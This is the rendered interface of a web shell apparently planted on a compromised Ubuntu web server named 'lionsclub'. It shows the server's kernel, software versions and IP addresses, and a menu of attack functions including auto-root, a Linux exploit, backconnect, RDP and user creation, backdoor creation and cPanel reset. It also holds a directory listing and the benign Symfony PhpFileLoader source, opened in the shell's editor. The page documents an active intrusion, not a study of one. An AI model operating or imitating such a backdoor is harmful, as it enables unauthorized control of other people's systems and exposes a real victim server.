Linux lionsclub 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.29 (Ubuntu)
: 161.35.52.75 | : 3.142.54.83
Cant Read [ /etc/named.conf ]
7.4.28
www-data
shells.trxsecurity.org
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
lionsclub /
core /
vendor /
symfony /
routing /
Loader /
[ HOME SHELL ]
Name
Size
Permission
Action
Configurator
[ DIR ]
drwxr-xr-x
schema
[ DIR ]
drwxr-xr-x
AnnotationClassLoader.php
12.74
KB
-rw-r--r--
AnnotationDirectoryLoader.php
2.77
KB
-rw-r--r--
AnnotationFileLoader.php
4.41
KB
-rw-r--r--
ClosureLoader.php
1.05
KB
-rw-r--r--
ContainerLoader.php
938
B
-rw-r--r--
DirectoryLoader.php
1.48
KB
-rw-r--r--
GlobFileLoader.php
1.03
KB
-rw-r--r--
ObjectLoader.php
2.92
KB
-rw-r--r--
PhpFileLoader.php
2.27
KB
-rw-r--r--
XmlFileLoader.php
15.85
KB
-rw-r--r--
YamlFileLoader.php
10.17
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : PhpFileLoader.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Routing\Loader; use Symfony\Component\Config\Loader\FileLoader; use Symfony\Component\Config\Resource\FileResource; use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; use Symfony\Component\Routing\RouteCollection; /** * PhpFileLoader loads routes from a PHP file. * * The file must return a RouteCollection instance. * * @author Fabien Potencier <fabien@symfony.com> * @author Nicolas grekas <p@tchwork.com> * @author Jules Pietri <jules@heahprod.com> */ class PhpFileLoader extends FileLoader { /** * Loads a PHP file. * * @param string $file A PHP file path * @param string|null $type The resource type * * @return RouteCollection A RouteCollection instance */ public function load($file, string $type = null) { $path = $this->locator->locate($file); $this->setCurrentDir(\dirname($path)); // the closure forbids access to the private scope in the included file $loader = $this; $load = \Closure::bind(static function ($file) use ($loader) { return include $file; }, null, ProtectedPhpFileLoader::class); $result = $load($path); if (\is_object($result) && \is_callable($result)) { $collection = $this->callConfigurator($result, $path, $file); } else { $collection = $result; } $collection->addResource(new FileResource($path)); return $collection; } /** * {@inheritdoc} */ public function supports($resource, string $type = null) { return \is_string($resource) && 'php' === pathinfo($resource, \PATHINFO_EXTENSION) && (!$type || 'php' === $type); } protected function callConfigurator(callable $result, string $path, string $file): RouteCollection { $collection = new RouteCollection(); $result(new RoutingConfigurator($collection, $this, $path, $file)); return $collection; } } /** * @internal */ final class ProtectedPhpFileLoader extends PhpFileLoader { }
Close